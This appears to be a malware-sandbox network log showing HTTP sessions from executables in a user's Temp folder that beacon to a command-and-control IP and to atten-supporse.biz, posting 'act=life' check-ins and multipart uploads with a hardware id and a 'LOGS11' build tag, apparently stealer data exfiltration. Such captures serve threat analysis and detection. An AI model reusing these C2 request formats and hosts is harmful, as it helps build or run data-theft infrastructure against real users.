Dec 10, 2024 05:10:57.423134089 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Mon, 09 Dec 2024 12:18:23 GMT Age: 57154 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Dec 10, 2024 05:11:07.459167957 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 10, 2024 05:11:17.662311077 CET	6	OUT	Data Raw: 00 Data Ascii:
Dec 10, 2024 05:11:27.849807024 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49987	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:54.133133888 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 10, 2024 05:10:55.475395918 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49998	185.215.113.43	80	5596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 05:10:57.346815109 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 35 32 46 37 36 42 33 35 30 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B52F76B35082D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Dec 10, 2024 05:10:58.699773073 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 10 Dec 2024 04:10:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49872	104.21.64.1	443	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:26 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-12-10 04:10:26 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-10 04:10:27 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mnutrhiqve39udh6fkqsn98eav; expires=Fri, 04-Apr-2025 21:57:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LiD%2BYHOodNW%2F8ju8fyL8dg83pOzA23S5h7IqfWz1Arg%2FN7VXE%2B54i2Ac2Guz6UvT9PSfWlerVWwlFC%2FCdD8exVhHTc7ZbDWYy4HPMxEXSd1DlrmUnsoUvvDJftW7TPR5Ld2j9Ik%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa629f6a5c8cec-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2067&min_rtt=2048&rtt_var=781&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1425781&cwnd=204&unsent_bytes=0&cid=34b673c8f5940f04&ts=1029&x=0"
2024-12-10 04:10:27 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-10 04:10:27 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49879	104.21.64.1	443	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:29 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-10 04:10:29 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-10 04:10:29 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3rg4avcvuhtjnddenoaa6bk2ev; expires=Fri, 04-Apr-2025 21:57:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AyIDsrDyzivfbTHFudyIaRsGNWbJflw%2FSEn%2BDZ82XblPOtqxXmMXDWl8RPfadltn99OE%2FDLNpT%2BxcbYkyh%2BBM9KIlcrJnjhxZWZcU49B9Vh%2Fzxd26P13sZcepeJyGyF9k%2F8AgOE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa62addf921819-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1473&min_rtt=1453&rtt_var=586&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1805813&cwnd=215&unsent_bytes=0&cid=c6ec180bd901099c&ts=749&x=0"
2024-12-10 04:10:29 UTC	346	IN	Data Raw: 34 39 31 63 0d 0a 47 46 61 49 52 49 69 6f 45 56 61 46 79 6f 68 76 38 2b 71 79 4a 4b 38 38 7a 4f 71 2b 76 4b 76 74 53 52 4f 51 4c 6d 4c 72 76 4a 68 6a 64 50 35 6d 73 70 77 39 64 50 61 76 71 6c 57 48 6d 4d 64 42 67 78 36 74 6a 70 79 47 7a 59 77 6c 59 50 55 43 51 4a 33 52 75 69 49 77 36 53 6a 37 7a 54 31 30 34 4c 4b 71 56 61 69 52 6b 45 48 42 48 76 62 49 32 39 62 4a 6a 43 56 78 38 55 55 4e 6d 39 44 37 63 44 72 76 4c 4f 33 4c 64 54 66 70 70 2b 30 4b 6c 6f 76 59 53 73 5a 52 70 49 65 63 6b 49 6d 49 4d 7a 47 71 44 43 2b 4f 79 50 6c 56 4e 2f 73 76 71 74 55 39 4c 61 65 76 35 6b 33 4a 79 4e 4e 42 7a 56 43 71 6a 74 58 55 77 34 55 74 63 50 52 45 45 6f 4c 61 38 48 41 30 37 43 33 6e 77 6d 45 36 34 36 44 6d 44 4a 79 4c 6b 41 69 4e 57 62 62 49 68 4a 36 61 76 53 68 67 34 Data Ascii: 491cGFaIRIioEVaFyohv8+qyJK88zOq+vKvtSROQLmLrvJhjdP5mspw9dPavqlWHmMdBgx6tjpyGzYwlYPUCQJ3RuiIw6Sj7zT104LKqVaiRkEHBHvbI29bJjCVx8UUNm9D7cDrvLO3LdTfpp+0KlovYSsZRpIeckImIMzGqDC+OyPlVN/svqtU9Laev5k3JyNNBzVCqjtXUw4UtcPREEoLa8HA07C3nwmE646DmDJyLkAiNWbbIhJ6avShg4
2024-12-10 04:10:29 UTC	1369	IN	Data Raw: 75 69 4a 30 37 43 6a 72 78 33 4d 6d 37 36 50 68 43 49 4f 44 32 55 76 41 58 71 4f 43 30 39 33 4a 69 43 46 37 2f 55 59 45 68 4e 50 38 65 6a 53 71 61 4b 72 4e 61 33 53 2f 36 4d 6b 49 67 59 2f 63 55 49 39 6b 37 70 65 53 78 34 6d 49 4a 7a 47 71 44 41 69 4d 33 66 6c 78 4f 2b 6b 75 34 64 68 7a 4a 75 47 6c 37 78 2b 58 6a 64 35 4d 7a 6b 79 6b 68 74 72 64 77 49 51 69 64 50 56 49 51 4d 65 65 2f 57 4a 30 73 6d 62 4c 78 33 67 34 37 62 2f 71 54 59 37 47 79 51 62 4b 55 75 37 51 6e 4e 72 49 69 79 70 31 2f 45 49 45 68 64 6a 30 64 7a 76 73 4c 4f 72 4e 65 54 7a 76 71 65 63 47 6e 6f 6a 56 53 38 6c 59 6f 6f 6e 5a 6e 6f 66 50 4c 47 6d 79 46 45 43 6e 32 66 6c 6f 64 74 38 6c 35 4d 52 30 49 71 65 33 70 42 54 52 6a 39 77 47 6c 52 36 67 6a 64 50 4d 79 4a 30 75 66 2b 42 41 42 59 2f Data Ascii: uiJ07Cjrx3Mm76PhCIOD2UvAXqOC093JiCF7/UYEhNP8ejSqaKrNa3S/6MkIgY/cUI9k7peSx4mIJzGqDAiM3flxO+ku4dhzJuGl7x+Xjd5MzkykhtrdwIQidPVIQMee/WJ0smbLx3g47b/qTY7GyQbKUu7QnNrIiyp1/EIEhdj0dzvsLOrNeTzvqecGnojVS8lYoonZnofPLGmyFECn2flodt8l5MR0Iqe3pBTRj9wGlR6gjdPMyJ0uf+BABY/
2024-12-10 04:10:29 UTC	1369	IN	Data Raw: 74 38 6c 35 4d 52 30 49 71 65 33 70 42 54 52 6a 39 77 47 6c 52 36 6a 67 4e 6e 62 78 6f 34 68 66 2f 64 47 44 49 48 51 2b 57 67 37 37 69 62 6d 77 6e 6b 35 36 61 7a 69 42 4a 71 44 31 6b 62 4d 56 4f 37 47 6e 4e 6e 52 7a 33 4d 78 78 6b 73 4d 68 4e 47 34 54 7a 66 6b 4b 4f 33 63 4d 79 75 70 73 61 6f 4b 6e 63 69 49 42 73 46 58 72 6f 50 57 32 73 6d 49 4a 6e 54 78 53 77 4f 45 32 66 42 30 4d 2b 34 71 34 38 64 31 4e 4f 43 73 37 78 2b 55 67 64 78 4b 6a 52 44 75 6a 38 53 65 6b 63 38 45 64 75 52 50 4c 34 72 50 38 7a 6f 72 70 44 2b 71 7a 58 39 30 76 2b 6a 74 43 4a 6d 44 31 6b 37 4e 54 4b 75 47 31 39 2f 44 69 53 70 38 2f 6b 6f 41 69 4e 37 38 64 6a 54 74 49 66 6a 59 64 6a 4c 31 6f 71 70 44 30 59 2f 49 42 70 55 65 6d 4a 6a 4c 7a 39 2f 4e 48 6e 4c 38 51 67 65 66 6e 75 55 30 Data Ascii: t8l5MR0Iqe3pBTRj9wGlR6jgNnbxo4hf/dGDIHQ+Wg77ibmwnk56aziBJqD1kbMVO7GnNnRz3MxxksMhNG4TzfkKO3cMyupsaoKnciIBsFXroPW2smIJnTxSwOE2fB0M+4q48d1NOCs7x+UgdxKjRDuj8Sekc8EduRPL4rP8zorpD+qzX90v+jtCJmD1k7NTKuG19/DiSp8/koAiN78djTtIfjYdjL1oqpD0Y/IBpUemJjLz9/NHnL8QgefnuU0
2024-12-10 04:10:29 UTC	1369	IN	Data Raw: 2f 46 65 53 62 76 70 75 63 47 6e 6f 50 43 52 73 42 61 6f 6f 7a 55 31 63 50 50 5a 54 48 31 56 45 44 52 6e 73 39 33 4f 2b 6f 6c 2f 49 70 73 65 76 37 6f 37 51 48 52 30 4a 42 4b 77 31 36 68 68 4e 44 56 77 59 34 6e 66 2f 56 4a 43 59 48 57 36 48 73 77 34 69 66 6b 78 58 49 77 34 71 33 75 43 70 57 4f 33 77 61 44 48 71 6d 51 6e 49 61 4a 6f 41 78 45 73 47 30 36 79 63 47 30 59 33 54 74 4b 71 71 53 4d 7a 6a 6b 70 4f 49 43 6c 34 48 63 54 4d 52 56 6f 6f 50 59 30 73 43 4b 4c 58 44 33 53 51 47 4e 30 76 42 38 4e 2b 6b 70 35 63 56 37 64 4b 6e 6f 37 52 58 52 30 4a 42 6a 32 6c 57 67 6a 70 7a 42 68 35 5a 72 64 76 34 4d 57 4d 6e 53 38 33 77 79 37 79 72 72 7a 48 73 78 37 36 7a 72 43 35 65 4c 33 30 4c 49 58 36 47 4d 30 4e 44 44 6a 69 70 39 2b 55 4d 4c 6a 4a 36 30 4f 6a 50 79 5a Data Ascii: /FeSbvpucGnoPCRsBaoozU1cPPZTH1VEDRns93O+ol/Ipsev7o7QHR0JBKw16hhNDVwY4nf/VJCYHW6Hsw4ifkxXIw4q3uCpWO3waDHqmQnIaJoAxEsG06ycG0Y3TtKqqSMzjkpOICl4HcTMRVooPY0sCKLXD3SQGN0vB8N+kp5cV7dKno7RXR0JBj2lWgjpzBh5Zrdv4MWMnS83wy7yrrzHsx76zrC5eL30LIX6GM0NDDjip9+UMLjJ60OjPyZ
2024-12-10 04:10:29 UTC	1369	IN	Data Raw: 2b 36 36 2f 76 42 70 36 45 6b 41 69 4e 57 62 62 49 68 4a 37 6e 68 44 68 6d 38 55 49 4c 6e 38 57 36 5a 58 72 7a 5a 75 33 47 4d 32 79 6e 71 2b 45 47 6c 59 6a 63 52 73 6c 54 72 70 72 54 32 63 36 47 49 47 50 34 53 77 65 43 31 76 46 31 4d 76 67 71 35 4e 68 32 4a 76 58 6f 70 45 32 57 6b 4a 41 65 6a 57 69 70 6d 4d 7a 64 69 37 34 39 63 75 52 48 44 59 57 65 35 54 51 74 71 69 48 6d 69 69 74 30 34 61 66 6a 44 70 36 4a 32 55 72 41 57 36 65 4e 33 64 6a 4e 68 53 46 78 39 45 6f 42 6a 4e 54 35 65 7a 37 6a 49 65 4c 4e 63 43 61 6e 35 71 6f 4b 69 63 69 49 42 75 52 5a 76 49 62 4d 6e 74 62 42 4d 6a 48 31 51 45 44 52 6e 76 35 77 4f 2b 34 68 35 73 78 32 4d 75 71 70 35 51 79 52 68 39 52 4e 78 46 69 76 68 64 6e 54 7a 5a 30 68 65 76 31 41 43 59 58 54 75 6a 52 30 37 54 36 71 6b 6a Data Ascii: +66/vBp6EkAiNWbbIhJ7nhDhm8UILn8W6ZXrzZu3GM2ynq+EGlYjcRslTrprT2c6GIGP4SweC1vF1Mvgq5Nh2JvXopE2WkJAejWipmMzdi749cuRHDYWe5TQtqiHmiit04afjDp6J2UrAW6eN3djNhSFx9EoBjNT5ez7jIeLNcCan5qoKiciIBuRZvIbMntbBMjH1QEDRnv5wO+4h5sx2Muqp5QyRh9RNxFivhdnTzZ0hev1ACYXTujR07T6qkj
2024-12-10 04:10:29 UTC	1369	IN	Data Raw: 36 67 43 62 6d 74 70 4e 79 46 4f 6a 68 64 2f 59 7a 34 51 6e 59 2f 74 4d 41 34 4b 65 74 44 6f 7a 38 6d 61 79 69 6c 41 6a 38 61 4c 74 41 59 65 44 30 55 58 62 55 37 37 49 6b 70 37 59 69 44 6f 78 71 6c 6f 51 6e 74 6e 6c 4e 43 32 71 49 65 61 4b 4b 33 54 68 6f 65 77 4b 6c 34 62 43 51 38 74 52 6f 59 48 56 32 73 47 4d 4b 33 58 32 53 77 57 4b 30 76 46 39 4e 2b 55 69 34 38 52 36 4f 36 66 6d 71 67 71 4a 79 49 67 47 37 45 57 74 68 4e 47 65 31 73 45 79 4d 66 56 41 51 4e 47 65 39 6e 51 78 36 69 7a 73 7a 6e 59 79 37 61 33 71 42 70 4b 48 31 45 44 4a 55 61 36 44 31 64 2f 50 69 69 46 36 39 45 45 44 6a 39 69 36 4e 48 54 74 50 71 71 53 4d 78 54 38 70 65 59 4b 30 5a 65 65 58 34 31 5a 6f 73 69 45 6e 73 4b 44 4c 33 62 79 51 51 4f 42 32 2f 35 77 4d 65 6f 75 2b 4d 4a 7a 4d 2f 57 Data Ascii: 6gCbmtpNyFOjhd/Yz4QnY/tMA4KetDoz8mayilAj8aLtAYeD0UXbU77Ikp7YiDoxqloQntnlNC2qIeaKK3ThoewKl4bCQ8tRoYHV2sGMK3X2SwWK0vF9N+Ui48R6O6fmqgqJyIgG7EWthNGe1sEyMfVAQNGe9nQx6izsznYy7a3qBpKH1EDJUa6D1d/PiiF69EEDj9i6NHTtPqqSMxT8peYK0ZeeX41ZosiEnsKDL3byQQOB2/5wMeou+MJzM/W
2024-12-10 04:10:29 UTC	1369	IN	Data Raw: 38 69 49 42 76 4d 65 76 49 76 4d 33 63 61 65 46 54 47 71 56 54 37 4a 31 65 78 39 4a 4f 6b 77 34 63 64 2f 4a 64 6e 6f 73 6c 6e 44 32 6f 49 55 6e 30 48 75 6c 2b 4f 51 69 59 35 72 4b 63 74 56 51 4a 2b 65 6f 69 68 36 71 6a 53 71 6b 6a 4e 7a 35 4c 72 34 43 35 4b 65 30 77 48 7a 59 49 6d 65 31 74 6e 5a 69 44 78 2b 73 67 4a 41 68 70 36 69 51 33 54 6a 49 66 48 62 5a 54 6e 33 72 36 6f 79 33 38 6a 49 42 70 55 65 6d 34 76 53 30 4d 36 5a 4f 6a 7a 56 57 67 71 4f 7a 76 31 74 4f 36 70 6f 71 73 77 7a 62 4c 54 6d 71 67 6d 41 79 49 67 57 6e 77 58 37 32 34 75 4f 6d 35 42 6c 61 4c 4a 61 51 4e 47 4d 74 44 6f 6d 71 6e 36 71 6a 58 41 6d 39 61 37 70 47 35 4c 50 37 6e 6a 71 52 4b 4f 4f 79 38 2f 33 73 53 78 72 2f 30 6f 58 6d 4a 4c 76 65 54 72 6b 49 66 79 4b 50 58 54 6f 36 4c 49 30 Data Ascii: 8iIBvMevIvM3caeFTGqVT7J1ex9JOkw4cd/JdnoslnD2oIUn0Hul+OQiY5rKctVQJ+eoih6qjSqkjNz5Lr4C5Ke0wHzYIme1tnZiDx+sgJAhp6iQ3TjIfHbZTn3r6oy38jIBpUem4vS0M6ZOjzVWgqOzv1tO6poqswzbLTmqgmAyIgWnwX724uOm5BlaLJaQNGMtDomqn6qjXAm9a7pG5LP7njqRKOOy8/3sSxr/0oXmJLveTrkIfyKPXTo6LI0
2024-12-10 04:10:29 UTC	1369	IN	Data Raw: 65 4e 42 76 37 61 68 34 75 61 32 48 73 6a 37 51 49 5a 79 63 69 36 49 6d 61 6b 5a 76 69 4b 4b 33 53 67 71 2f 67 66 6c 34 76 47 52 59 70 67 6b 4b 2f 53 32 63 69 5a 4f 32 62 39 63 6a 36 63 33 66 52 30 4d 2f 77 33 71 6f 51 7a 4f 36 66 77 30 30 33 5a 79 4f 38 49 6a 55 62 75 30 4a 7a 72 79 6f 45 6c 64 75 52 64 54 61 37 51 2f 58 73 69 2b 6a 48 6c 69 6a 31 30 34 65 69 79 58 39 2f 49 31 46 65 4e 42 76 37 61 68 34 75 61 32 48 73 6a 37 51 49 5a 79 63 69 36 49 6d 61 6b 5a 76 69 4b 4b 33 53 67 71 2f 67 66 6c 34 76 47 52 59 70 67 6b 4b 2f 53 32 63 69 5a 4f 32 62 39 41 79 36 2f 2f 38 52 45 49 65 6b 6f 35 4d 31 6c 4a 61 66 6d 71 67 4c 52 30 4f 6b 47 68 52 36 52 78 70 7a 47 69 64 64 72 52 50 46 43 44 6f 37 49 36 7a 63 54 35 43 48 72 33 47 4d 6a 36 4f 66 45 4f 37 44 49 6e Data Ascii: eNBv7ah4ua2Hsj7QIZyci6ImakZviKK3Sgq/gfl4vGRYpgkK/S2ciZO2b9cj6c3fR0M/w3qoQzO6fw003ZyO8IjUbu0JzryoElduRdTa7Q/Xsi+jHlij104eiyX9/I1FeNBv7ah4ua2Hsj7QIZyci6ImakZviKK3Sgq/gfl4vGRYpgkK/S2ciZO2b9Ay6//8REIeko5M1lJafmqgLR0OkGhR6RxpzGiddrRPFCDo7I6zcT5CHr3GMj6OfEO7DIn
2024-12-10 04:10:29 UTC	1369	IN	Data Raw: 74 6d 4e 76 67 39 36 49 35 64 75 4a 50 51 72 6a 49 2b 58 6f 36 37 57 61 6b 69 6d 74 30 76 2b 6a 48 48 35 61 59 30 77 61 44 48 71 4c 49 68 4a 37 45 6e 53 78 68 38 51 41 48 6b 39 6d 36 5a 58 72 7a 5a 76 79 4b 4b 32 65 70 36 50 68 4e 79 63 69 58 53 4d 42 66 72 59 62 66 7a 4e 75 4a 4b 47 66 78 43 7a 36 33 38 2b 68 39 4a 4f 6c 6b 32 38 64 33 49 76 4b 72 2b 67 71 76 74 76 31 55 79 6b 36 74 79 76 44 5a 78 49 4d 56 54 38 56 64 42 35 6d 63 33 48 6b 69 36 57 61 6b 69 6d 74 30 76 2b 6a 48 48 35 61 59 30 77 54 68 57 61 4f 45 6e 4d 47 48 6c 6d 74 6e 73 68 52 54 78 35 37 6f 4f 6d 79 71 59 65 6e 59 59 54 4c 6b 76 75 6c 4b 72 37 62 39 56 4d 70 4f 72 63 72 74 30 38 32 5a 50 6e 4c 69 53 7a 36 33 38 2b 68 39 4a 4f 6c 6b 7a 2f 41 78 42 66 47 72 36 67 4f 57 79 4a 34 47 31 52 Data Ascii: tmNvg96I5duJPQrjI+Xo67Wakimt0v+jHH5aY0waDHqLIhJ7EnSxh8QAHk9m6ZXrzZvyKK2ep6PhNyciXSMBfrYbfzNuJKGfxCz638+h9JOlk28d3IvKr+gqvtv1Uyk6tyvDZxIMVT8VdB5mc3Hki6Wakimt0v+jHH5aY0wThWaOEnMGHlmtnshRTx57oOmyqYenYYTLkvulKr7b9VMpOrcrt082ZPnLiSz638+h9JOlkz/AxBfGr6gOWyJ4G1R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49887	104.21.64.1	443	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:32 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=7MBWEZAC8GFG8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12811 Host: atten-supporse.biz
2024-12-10 04:10:32 UTC	12811	OUT	Data Raw: 2d 2d 37 4d 42 57 45 5a 41 43 38 47 46 47 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 37 4d 42 57 45 5a 41 43 38 47 46 47 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 4d 42 57 45 5a 41 43 38 47 46 47 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 37 4d 42 57 45 Data Ascii: --7MBWEZAC8GFG8Content-Disposition: form-data; name="hwid"16727A935C54506723D904AF30EFEBBC--7MBWEZAC8GFG8Content-Disposition: form-data; name="pid"2--7MBWEZAC8GFG8Content-Disposition: form-data; name="lid"LOGS11--LiveTraffic--7MBWE
2024-12-10 04:10:33 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 04:10:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5f0dslrs1sootru3l62ainued6; expires=Fri, 04-Apr-2025 21:57:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Yh2HWpV%2FMQuAduloJwkOSj5qJfKVDFjKcr3gEOoUCnxJSmjoZoQvb2hWAmJeUGeRqdkAwhGJnVzzppKTuBw2x31WNmdZHYBz1T13Q0%2FwPg5HOFuFBVqLmxE51MnPMmEtnRXctfY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8efa62bfdb9443f3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1808&min_rtt=1795&rtt_var=700&sent=10&recv=18&lost=0&retrans=0&sent_bytes=2847&recv_bytes=13748&delivery_rate=1534419&cwnd=204&unsent_bytes=0&cid=dd4235fb2d77885b&ts=915&x=0"
2024-12-10 04:10:33 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-10 04:10:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49894	104.21.64.1	443	5228	C:\Users\user\AppData\Local\Temp\1013606001\79ddad050f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 04:10:35 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=PPJUW1D7RJZYT9JA25 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15083 Host: atten-supporse.biz
2024-12-10 04:10:35 UTC	15083	OUT	Data Raw: 2d 2d 50 50 4a 55 57 31 44 37 52 4a 5a 59 54 39 4a 41 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 36 37 32 37 41 39 33 35 43 35 34 35 30 36 37 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 50 50 4a 55 57 31 44 37 52 4a 5a 59 54 39 4a 41 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 50 50 4a 55 57 31 44 37 52 4a 5a 59 54 39 4a 41 32 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --PPJUW1D7RJZYT9JA25Content-Disposition: form-data; name="hwid"16727A935C54506723D904AF30EFEBBC--PPJUW1D7RJZYT9JA25Content-Disposition: form-data; name="pid"2--PPJUW1D7RJZYT9JA25Content-Disposition: form-data; name="lid"LOGS11--LiveT
